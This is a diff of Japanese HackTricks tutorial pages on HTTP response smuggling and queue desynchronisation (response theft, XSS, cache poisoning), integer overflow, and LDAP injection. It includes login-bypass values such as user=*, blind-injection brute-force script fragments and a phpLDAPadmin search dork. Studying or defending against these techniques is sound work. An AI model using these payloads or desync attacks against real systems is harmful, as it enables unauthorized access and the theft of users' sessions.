* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする**
* **HackTricks** と **HackTricks Cloud** のgithubリポジトリに **PRを提出** して **あなたのハッキングトリックを共有**する * **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する**
</details> </details>
@ -20,65 +20,65 @@ HackTricks をサポートする他の方法:
まず、この技術は **HTTP リクエストスムギリングの脆弱性を悪用** するため、それが何かを知る必要があります: まず、この技術は **HTTP リクエストスムギリングの脆弱性を悪用** するため、それが何かを知る必要があります:
この技術と一般的な HTTP リクエストスムギリングの **主な違い** は、 **被害者のリクエストに接頭辞を追加して攻撃する代わりに****被害者が受け取るレスポンスを漏洩または変更する** ことです。これは、HTTP リクエストスムギリングを悪用するために 1 つと半分のリクエストを送信する代わりに、 **2 つの完全なリクエストを送信してプロキシのレスポンスキューを非同期化する** ことができるためです。 この技術と一般的な HTTP リクエストスムギリングの **主な違い** は、 **被害者のリクエストに接頭辞を追加して攻撃する代わりに****被害者が受け取るレスポンスを漏洩または変更する** ことです。これは、HTTP リクエストスムギリングを悪用するために 1 つのリクエストと半分を送信する代わりに、 **2 つの完全なリクエストを送信してプロキシのレスポンスキューを非同期化する** ことができるためです。
これは、 **レスポンスキューを非同期化** できるため、 **被害者の正当なリクエストからのレスポンスが攻撃者に送信される** か、 **被害者に対して攻撃者が制御可能なコンテンツをレスポンスに注入する** ことができます。 これは、 **レスポンスキューを非同期化** できるため、 **被害者の正当なリクエストからのレスポンスが攻撃者に送信される** か、 **被害者に対して攻撃者が制御可能なコンテンツをレスポンスに注入する** ことができます。
### HTTP パイプラインデシンク ### HTTP パイプラインデシンク
HTTP/1.1 では、 **前のリソースを待つ必要がない****異なるリソースを要求** することができます。したがって、 **途中にプロキシがある場合**、バックエンドに送信されたリクエストとそのレスポンスの **同期された一を維持する** のはプロキシの役割です。 HTTP/1.1 では、 **前のリソースを待つ必要がない****異なるリソースを要求** することができます。したがって、 **途中にプロキシがある場合**、バックエンドに送信されたリクエストとそのレスポンスの **同期された一を維持する** のはプロキシの役割です。
しかし、レスポンスキューを非同期化する問題があります。攻撃者が HTTP レスポンススムギリング攻撃を送信し、 **初期リクエストとスムギリングされたリクエストへのレスポンスがすぐに返された場合**、スムギリングされたレスポンスは **被害者のレスポンスキューに挿入されず、エラーとして破棄されるだけ** です。 しかし、レスポンスキューを非同期化する問題があります。攻撃者が HTTP レスポンススムギリング攻撃を送信し、 **初期リクエストとスムギリングされたリクエストへのレスポンスが直ちに返される場合**、スムギリングされたレスポンスは **被害者のレスポンスキューに挿入されず、エラーとして破棄されるだけ** です。
したがって、 **スムギリングされたリクエストがバックエンドサーバーで処理されるのに時間がかかる必要があります**そのため、スムギリングされたリクエストが処理される時点で、攻撃者との通信は終了します。 したがって、 **スムギリングされたリクエストがバックエンドサーバーで処理されるのに時間がかかる必要があります**したがって、スムギリングされたリクエストが処理される時点で、攻撃者との通信は終了します。
特定の状況で **被害者がリクエストを送信**、 **スムギリングされたリクエストが正当なリクエストよりも先に応答され場合**、 **スムギリングされたレスポンスが被害者に送信されます**。したがって、攻撃者は **被害者が "実行した" リクエストを制御** することになります。 特定の状況で **被害者がリクエストを送信****スムギリングされたリクエストが正当なリクエストよりも先に応答され場合**、 **スムギリングされたレスポンスが被害者に送信されます**。したがって、攻撃者は **被害者が "実行した" リクエストを制御** ます。
さらに、 **攻撃者がリクエストを実行**、 **被害者のリクエストに対する正当なレスポンスが攻撃者のリクエストよりも前に回答され場合**、 **被害者へのレスポンスが攻撃者に送信され** **被害者のレスポンス(たとえばヘッダー Set-Cookie を含む)が盗まれます**。 さらに、 **攻撃者がリクエストを実行****被害者のリクエストに対する正当なレスポンスが攻撃者のリクエストよりも前に回答され場合**、 **被害者へのレスポンスが攻撃者に送信され**、被害者のレスポンス(たとえばヘッダー **Set-Cookie** を含むことができる)が **盗まれます**。
### 複数のネストされたインジェクション ### 複数のネストされたインジェクション
一般的な **HTTP リクエストスムギリング** との **興味深い違い** は、一般的なスムギリング攻撃では、 **被害者のリクエストの先頭を変更** して予期しないアクションを実行することが目的です。 **HTTP レスポンススムギリング攻撃** では、 **完全なリクエストを送信** するため、 **1 つのペイロードに複数のレスポンスをインジェクト** して、 **複数のユーザーを非同期化** し、 **インジェクトされたレスポンスを受信するユーザーを複数に分散** することができます。 一般的な **HTTP リクエストスムギリング** との **興味深い違い** は、一般的なスムギリング攻撃では、 **被害者のリクエストの先頭を変更** して予期しないアクションを実行することが目的です。 **HTTP レスポンススムギリング攻撃** では、 **完全なリクエストを送信** するため、 **1 つのペイロードに複数のレスポンスを注入** し、 **複数のユーザーが受け取る** **注入されたレスポンス****非同期化** することができます。
正当なユーザーに対して **複数のエクスプロイトをより簡単に配布** することができるだけでなく、サーバーに **DoS** を引き起こすためにも使用できます。 合法的なユーザーに簡単に **複数のエクスプロイトを配布** することができるだけでなく、サーバーに **DoS** を引き起こすこともできます。
### エクスプロイトの組織化 ### エクスプロイトの組織化
前述のように、この技術を悪用するには、 **サーバーに最初のスムギリングメッセージを処理するのに多くの時間がかかる必要があります** 前述のように、この技術を悪用するには、 **サーバーに最初のスムギリングメッセージ** が **処理されるのに多くの時間が必要** です
この **時間のかかるリクエストは、被害者のレスポンスを盗もうとする場合には十分** です。しかし、より複雑なエクスプロイトを実行したい場合は、エクスプロイトのための一般的な構造になります。 この **時間のかかるリクエストは、被害者のレスポンスを盗もうとする場合には十分** です。しかし、より複雑なエクスプロイトを実行したい場合は、エクスプロイトのための一般的な構造になります。
まず、 **HTTP リクエストスムギリングを悪用する初期** リクエスト、次に **時間のかかるリクエスト**、そして **被害者に送信されるレスポンス** の **1つ以上のペイロードリクエスト**。 まず、 **HTTP リクエストスムギリングを悪用する初期** リクエスト、次に **時間のかかるリクエスト**、そして **1つ以上のペイロードリクエスト** が続き、そのレスポンスが被害者に送信されます
## HTTP レスポンスキューデシンクロナイゼーションの悪用 ## HTTP レスポンスキューデシンクロナイゼーションの悪用
### 他のユーザーのリクエストをキャプチャする <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a> ### 他のユーザーのリクエストのキャプチャ <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
HTTP リクエストスムギリングの既知のペイロードと同様に、 **被害者のリクエストを盗む** ことができますが、重要な違いがあります: この場合、 **レスポンスに反映される送信コンテンツ** が必要であり、 **永続的なストレージは必要ありません** HTTP リクエストスムギリングの既知のペイロードと同様に、 **被害者のリクエストを盗む** ことができますが、重要な違いがあります: この場合、 **レスポンスに反映される送信コンテンツ** が必要であり、 **永続的なストレージ** は必要ありません。
まず、攻撃者は、 **最終的な POST リクエストに反映されたパラメータを含むペイロード** と大きな Content-Length を含むペイロードを送信します。 まず、攻撃者は、最終的な POST リクエストを含むペイロードを送信し、末尾に反映されるパラメータと大きな Content-Length を含めます
次に、 **初期リクエスト**(青色)が **処理される間****スリーピーなリクエスト**(黄色)が処理されている間に、 **被害者から到着する次のリクエスト****反映されたパラメータの直後にキューに追加されます**: 次に、 **初期リクエスト**(青色)が **処理される間****眠たいリクエスト**(黄色)が処理されている間に、 **被害者から到着する次のリクエスト****反映されたパラメータの直後にキューに追加されます**:
その後、 **被害者****スリーピーなリクエストへのレスポンスを受け取り**、その間に **攻撃者が別のリクエストを送信した場合****反映されたコンテンツリクエストのレスポンスが攻撃者に送信されます** その後、 **被害者****眠たい** リクエストの **レスポンスを受け取り**、その間に **攻撃者が別のリクエストを送信した場合****反映されたコンテンツリクエストのレスポンスが攻撃者に送信されます**
## レスポンスデシンクロナイゼーション ## レスポンスデシンクロナイゼーション
ここまでで、HTTP リクエストスムギリング攻撃を悪用して、 **クライアントが受信するリクエストを制御** し、その後、 **被害者向けに意図されていたレスポンスを盗む方法** を学びました。 ここまでで、HTTP リクエストスムギリング攻撃を悪用して、 **クライアントが受け取るレスポンスのリクエストを制御** し、その後、 **被害者のために意図されていたレスポンスを盗む方法** を学びました。
しかし、 **さらにレスポンスをさらに非同期化することができます** しかし、 **さらにレスポンスをさらに非同期化することができます**
**HEAD** リクエストのような興味深いリクエストがあり、 **レスポンスボディにコンテンツが含まれていない** ことが指定されており、 **GET リクエストのように Content-Length を含む必要がある** ことがあります。 **HEAD** リクエストのような興味深いリクエストがあり、 **レスポンスボディにコンテンツが含まれていない** ことが指定されており、 **GET リクエストのように Content-Length を含む必要がある** ことがあります。
したがって、攻撃者が **次の画像のように HEAD リクエストをインジェクト** すると: したがって、攻撃者が次の画像のように **HEAD** リクエストを **注入** すると:
その後、 **青色のリクエストが攻撃者に返された後**、次の被害者のリクエストがキューに追加されます: その後、 **青色のリクエストが攻撃者に返された後**、次の被害者のリクエストがキューに追加されます:
その後、 **被害者****HEAD** リクエストから **Content-Length が含まれているがコンテンツが全くない** レスポンスを受け取ります。そのため、プロキシはこのレスポンスを **被害者に送信せず、いくつかのコンテンツを待機** しますが、実際には **攻撃者によって注入されたイエローリクエストへのレスポンス** になります: その後、 **被害者****HEAD** リクエスト**レスポンスを受け取ります**。これには **Content-Length が含まれていますが、コンテンツはまったく含まれていません**。したがって、プロキシはこのレスポンスを **被害者に送信せず、いくつかのコンテンツを待機** します。実際には、これは **攻撃者によって注入された黄色のリクエストのレスポンス** になります:
### コンテンツ混乱 ### コンテンツ混乱
前の例に続いて、被害者が受け取るレスポンスの **ボディを制御** でき、 **HEAD レスポンス** には通常、 **Content-Type と Content-Length** がヘッダーに含まれていることを知っている場合、次のようなリクエストを送信して、ページが XSS に脆弱でなくても被害者に **XSSを引き起こす** ことができます: 前の例に続いて、被害者が受け取るレスポンスのボディを **制御** でき、 **HEAD** **レスポンス** には通常、 **Content-Type と Content-Length** がヘッダーに含まれていることを知っているので、次のようなリクエストを送信して、ページが XSS に脆弱でなくても被害者に **XSS を引き起こす** ことができます:
### キャッシュポイズニング ### キャッシュポイズニング
@ -86,26 +86,26 @@ HTTP リクエストスムギリングの既知のペイロードと同様に、
XSS ペイロードを含む悪意のあるリクエスト: XSS ペイロードを含む悪意のあるリクエスト:
被害者に送信される悪意のあるレスポンスは、キャッシュにレスポンスを保存するよう指示するヘッダーを含んでいます: 被害者に送信される悪意のあるレスポンスで、キャッシュにレスポンスを保存することを示すヘッダーが含まれています:
{% hint style="warning" %} {% hint style="warning" %}
この場合、 **"被害者" が攻撃者である** 場合、 **攻撃者は任意のURLでキャッシュポイズニングを実行** できるようになります。 **攻撃者は悪意のあるレスポンスでキャッシュされるURLを制御** できるためです。 この場合、 **"被害者" が攻撃者である** 場合、 **悪意のあるレスポンスでキャッシュポイズニングを実行** できるため、 **攻撃者は悪意のあるレスポンスでキャッシュされる URL を制御** できます。
{% endhint %} {% endhint %}
### Webキャッシュ欺瞞 ### Web キャッシュ欺瞞
この攻撃は前の攻撃と似ていますが、 **キャッシュ内にペイロードを注入する代わりに、攻撃者はキャッシュ内に被害者情報をキャッシュすることになります**: この攻撃は前の攻撃と似ていますが、 **キャッシュ内にペイロードを注入する代わりに、攻撃者はキャッシュ内に被害者情報をキャッシュすることになります**:
### レスポンス分割 ### レスポンス分割
この攻撃の目的は、再び **レスポンスデシンクロナイゼーションを悪用** して、 **プロキシが100%攻撃者が生成したレスポンスを送信するようにする** ことです。 この攻撃の目的は、再び **レスポンスデシンクロナイゼーションを悪用** して、 **プロキシが 100% 攻撃者が生成したレスポンスを送信するようにする** ことです。
これを達成するために、攻撃者は、 **レスポンス内にいくつかの値を反映させ、HEAD レスポンスの Content-Length を知る必要があります** これを達成するために、攻撃者は、 **レスポンス内にいくつかの値を反映** し、 **HEAD レスポンスの Content-Length を知っている** ウェブアプリケーションのエンドポイントを見つける必要があります
彼は次のような **エクスプロイト** を送信します: 彼は次のような **エクスプロイト** を送信します:
最初のリクエストが解決され、攻撃者に返された後、 **被害者のリクエストがキューに追加されます**: 最初のリクエストが解決され、攻撃者に返された後、 **被害者のリクエストがキューに追加されます**:
被害者は **HEAD レスポンス + 2番目のリクエストレスポンスの内容(反映されたデータの一部を含む)** を受け取ります: 被害者は **HEAD レスポンス + 2 番目のリクエストレスポンスの内容(反映されたデータの一部を含む)** を受け取ります:
ただし、 **反映されたデータが HEAD レスポンスの Content-Length に応じたサイズを持っていた** ことに注意してください。これにより、 **2番目の被害者の次のリクエスト** は、 **攻撃者によって完全に作成されたレスポンスを受け取ることになります**。レスポンスが攻撃者によって完全に作成されたため、 **プロキシがレスポンスをキャッシュする** こともできます。 ただし、 **反映されたデータが HEAD レスポンスの Content-Length に応じたサイズを持っていた** ことに注意してください。これにより、 **2 番目の被害者の次のリクエスト** は、 **攻撃者によって完全に作成されたレスポンスを受け取る** ことになります。レスポンスが攻撃者によって完全に作成されたため、 **プロキシがレスポンスをキャッシュ** することもできます。

View file

@ -4,11 +4,11 @@
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。** * **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。
</details> </details>
@ -20,10 +20,10 @@ HackTricksをサポートする他の方法:
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。** * **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。
</details> </details>

View file

@ -2,13 +2,13 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます。 * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローします。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングテクニックを共有してください。
</details> </details>
@ -28,9 +28,7 @@ println!("{}", add_result);
``` ```
{% endtab %} {% endtab %}
{% tab title="C" %} {% tab title="C" %}整数オーバーフローは、整数の最大値を超える計算結果が発生する脆弱性です。これは、C言語などの低レベル言語で特に一般的です。整数オーバーフローは、攻撃者が予期しない動作を引き起こし、メモリの破壊やセキュリティ上の脆弱性を悪用する可能性があります。整数オーバーフローを防ぐためには、適切な入力検証と整数演算の結果を確認することが重要です。{% endtab %}
整数オーバーフローは、整数の最大値を超えるときに発生します。これは、計算結果が予想よりも大きくなり、メモリの割り当てが不十分になる可能性があるため、セキュリティ上のリスクとなります。整数オーバーフローは、バッファオーバーフローと同様に、悪意のある攻撃者がコードの制御を奪うために悪用される可能性があります。
{% endtab %}
```c ```c
#include <stdio.h> #include <stdio.h>
#include <limits.h> #include <limits.h>
@ -51,12 +49,12 @@ return 0;
``` ```
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションです。
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬 Discordグループ](https://emojipedia.org/speech-balloon/)に参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、または**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>

View file

@ -11,13 +11,13 @@ HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** - **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details> </details>
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\ <img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
**バグバウンティのヒント**: **Intigriti**に**サインアップ**して、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**である**Intigriti**をサポートしましょう!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! **バグバウンティのヒント**: **ハッカーによって作成されたプレミアムなバグバウンティプラットフォームであるIntigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
@ -31,7 +31,7 @@ HackTricksをサポートする他の方法
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md) [pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %} {% endcontent-ref %}
**LDAPインジェクション**は、ユーザー入力からLDAPステートメントを構築するWebアプリケーションを標的とする攻撃です。アプリケーションが入力を適切にサニタイズせず、攻撃者がローカルプロキシを介してLDAPステートメントを**操作**できるようにすると、不正アクセスやデータ操作が発生します。 **LDAPインジェクション**は、ユーザー入力からLDAPステートメントを構築するWebアプリケーションを標的とする攻撃です。アプリケーションが入力を**適切にサニタイズできない**場合、攻撃者はローカルプロキシを介してLDAPステートメントを**操作**し、不正アクセスやデータ操作を引き起こす可能性があります。
{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %} {% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
@ -59,11 +59,11 @@ HackTricksをサポートする他の方法
**OpenLDAP**2つのフィルターが到着すると、最初のフィルターのみが実行されます。\ **OpenLDAP**2つのフィルターが到着すると、最初のフィルターのみが実行されます。\
**ADAMまたはMicrosoft LDS**2つのフィルターがあるとエラーが発生します。\ **ADAMまたはMicrosoft LDS**2つのフィルターがあるとエラーが発生します。\
**SunOne Directory Server 5.0**:両方のフィルターが実行されます。 **SunOne Directory Server 5.0**:両方のフィルターを実行します。
**フィルターを正しい構文で送信しないとエラーが発生するため、非常に重要です。1つのフィルターのみを送信する方が良いです。** **フィルターを正しい構文で送信しないとエラーが発生するため、非常に重要です。1つのフィルターのみを送信する方が良いです。**
フィルターは`&`または`|`で始る必要があります。\ フィルターは`&`または`|`で始る必要があります。\
例:`(&(directory=val1)(folder=public))` 例:`(&(directory=val1)(folder=public))`
`(&(objectClass=VALUE1)(type=Epson*))`\ `(&(objectClass=VALUE1)(type=Epson*))`\
@ -73,7 +73,7 @@ HackTricksをサポートする他の方法
### ログインバイパス ### ログインバイパス
LDAPはパスワードを保存するためにいくつかの形式をサポートしていますクリア、md5、smd5、sh1、sha、crypt。したがって、パスワードに何を挿入してもハッシュ化される可能性があります。 LDAPはパスワードを保存するためにいくつかの形式をサポートしていますクリア、md5、smd5、sh1、sha、crypt。したがって、パスワードに何を挿入してもハッシュ化される可能性があります。
```bash ```bash
user=* user=*
password=* password=*
@ -165,7 +165,7 @@ ASCII文字、数字、および記号を繰り返し処理できます
#### **有効なLDAPフィールドを特定する** #### **有効なLDAPフィールドを特定する**
LDAPオブジェクトには**デフォルトでいくつかの属性が含まれています**。これらを使用して**情報を保存**することができます。その情報を抽出するために、これらすべてをブルートフォースで試すことができます。[**デフォルトのLDAP属性のリストはこちら**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)を見つけることができます。 LDAPオブジェクトには**デフォルトでいくつかの属性が含まれています**。これらを使用して**情報を保存**することができます。**れらの情報を抽出するためにすべてをブルートフォースで試す**ことができます。[**デフォルトのLDAP属性のリストはこちら**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)を見つけることができます。
```python ```python
#!/usr/bin/python3 #!/usr/bin/python3
import requests import requests
@ -197,7 +197,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
finish = True finish = True
print() print()
``` ```
#### **特別なBlind LDAP Injection"\*"なし)** #### **特別なブラインドLDAPインジェクション"\*"なし)**
```python ```python
#!/usr/bin/python3 #!/usr/bin/python3
@ -223,20 +223,20 @@ intitle:"phpLDAPadmin" inurl:cmd.php
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %} {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\ <img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
**バグバウンティのヒント**: **Intigriti** **サインアップ** してください。これは、ハッカーによって作成されたプレミアムな **バグバウンティプラットフォーム** です![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) で参加し、最大 **$100,000** のバウンティを獲得しましょう! **バグバウンティのヒント**: **Intigriti** に**サインアップ**してください。これは、ハッカーによって作成されたプレミアムな **バグバウンティプラットフォーム**です![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) で参加し、最大 **$100,000** のバウンティを獲得しましょう!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
<details> <details>
